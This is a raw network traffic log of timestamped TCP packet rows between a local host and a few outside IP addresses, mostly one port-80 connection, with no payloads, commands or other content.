Nov 23, 2024 02:55:40.244488001 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.244602919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.244656086 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.244761944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.244824886 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.244843006 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.244890928 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.245640993 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.245680094 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.245735884 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.246412039 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.246592999 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.247355938 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.247390032 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.247426987 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.247446060 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.247495890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.248173952 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.248256922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.248893976 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.248929024 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.248951912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.248965979 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.249007940 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.249007940 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.249730110 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.249830961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.250344992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.250555038 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.250567913 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.250605106 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.250636101 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.250652075 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.251425028 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.251482010 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.251527071 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.251527071 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.252176046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.252274036 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.253031015 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.253065109 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.253102064 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.253124952 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.253143072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.253170967 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.253880978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.253916025 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.253950119 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.253979921 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.254702091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.254736900 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.254755020 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.254787922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.255525112 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.255604982 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.255733013 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.255804062 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.256383896 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.256421089 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.256453037 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.256484985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.257184029 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.257319927 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.257855892 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.257916927 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.258006096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.258167982 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.258337975 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.258414030 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.258846998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.258882046 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.258950949 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.259639978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.259804964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.259977102 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.260075092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.260653973 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.260691881 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.260740995 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.260740995 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.261315107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.261388063 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.261455059 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.261518955 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.262190104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.262227058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.262267113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.262267113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.262972116 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.263124943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.263190031 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.263317108 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.263828993 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.263917923 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.264002085 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.264086962 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.264601946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.264672995 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.265458107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.265491962 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.265530109 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.265537024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.265537024 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.265600920 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.266264915 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.266371965 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.266385078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.266509056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.267102957 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.267158985 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.267978907 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.268013000 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.268040895 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.268049002 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.268063068 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.268116951 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.268745899 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.268834114 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.269083023 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.269150019 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.269591093 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.269651890 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.269992113 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.270087957 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.270395041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.270488977 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.271256924 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.271291018 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.271343946 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.271351099 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.271389961 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.272072077 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.272170067 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.272231102 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.272342920 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.272938013 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.272980928 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.273078918 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.273727894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.273785114 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.273787975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.273843050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.274549961 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.274631023 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.274880886 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.274938107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.275373936 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.275527954 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.275588989 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.275641918 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.276251078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.276343107 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.277044058 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.277079105 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.277115107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.277120113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.277120113 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.277183056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.277873039 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.277970076 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.278359890 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.278429031 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.278733969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.278853893 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.279537916 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.279573917 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.279618025 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.279898882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.279946089 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.280391932 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.280427933 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.280462027 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.280489922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.281212091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.281289101 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.281786919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.282010078 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.282042980 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.282083988 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.282167912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.282810926 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.282895088 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.283073902 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.283159018 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.283633947 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.283713102 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.284486055 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.284519911 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.284542084 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.284555912 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.284579992 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.284610033 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.285381079 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.285417080 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.285440922 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.285511971 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.286185026 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.286253929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.286335945 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.286400080 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.286916971 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.287000895 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.287503958 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.287578106 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.287775040 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.287919044 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.296283007 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.297147989 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.297173977 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.298682928 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.298748970 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.299168110 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.299252033 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.415328979 CET	443	49877	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.415407896 CET	49877	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.436872005 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.436944962 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.436973095 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.437038898 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.437222958 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.437289953 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.437781096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.437836885 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.438082933 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.438133001 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.438148975 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.438180923 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.438874006 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.439043999 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.439743996 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.439779997 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.439814091 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.439826012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.439826012 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.439883947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.440552950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.440588951 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.440628052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.440628052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.441366911 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.441477060 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.441560030 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.441713095 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.442188978 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.442262888 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.443031073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.443065882 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.443206072 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.443274021 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.443334103 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.443837881 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.444026947 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.444657087 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.444691896 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.444725990 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.444773912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.444773912 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.445517063 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.445550919 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.445615053 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.446434975 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.446508884 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.446520090 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.446548939 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.447197914 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.447263956 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.447295904 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.447395086 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.448029041 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.448081970 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.448183060 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.448226929 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.448909044 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.448944092 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.448985100 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.448985100 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.449624062 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.449681997 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.449686050 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.449739933 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.450457096 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.450630903 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.450687885 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.450756073 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.450844049 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.451011896 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.451045036 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.451246977 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.451301098 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.451474905 CET	49874	443	192.168.2.6	13.107.246.63
Nov 23, 2024 02:55:40.451481104 CET	443	49874	13.107.246.63	192.168.2.6
Nov 23, 2024 02:55:40.452133894 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.452168941 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.452204943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.452204943 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.452254057 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.452322006 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.452953100 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.453026056 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.453058958 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.453175068 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.453785896 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.453820944 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.453876972 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.454600096 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.454734087 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.454802036 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.454910994 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.455436945 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.455471992 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.455492973 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.455509901 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.456221104 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.456335068 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.456406116 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.456599951 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.456934929 CET	49878	443	192.168.2.6	172.64.41.3
Nov 23, 2024 02:55:40.456959963 CET	443	49878	172.64.41.3	192.168.2.6
Nov 23, 2024 02:55:40.457043886 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.457096100 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.457164049 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.457206964 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.457927942 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.457979918 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.458149910 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.458249092 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.458719969 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.458775997 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.458951950 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.459238052 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.459583998 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.459673882 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.459737062 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.459856033 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.460354090 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.460417986 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.461246014 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.461280107 CET	80	49814	185.215.113.206	192.168.2.6
Nov 23, 2024 02:55:40.461308002 CET	49814	80	192.168.2.6	185.215.113.206
Nov 23, 2024 02:55:40.461316109 CET	80	49814	185.215.113.206	192.168.2.6
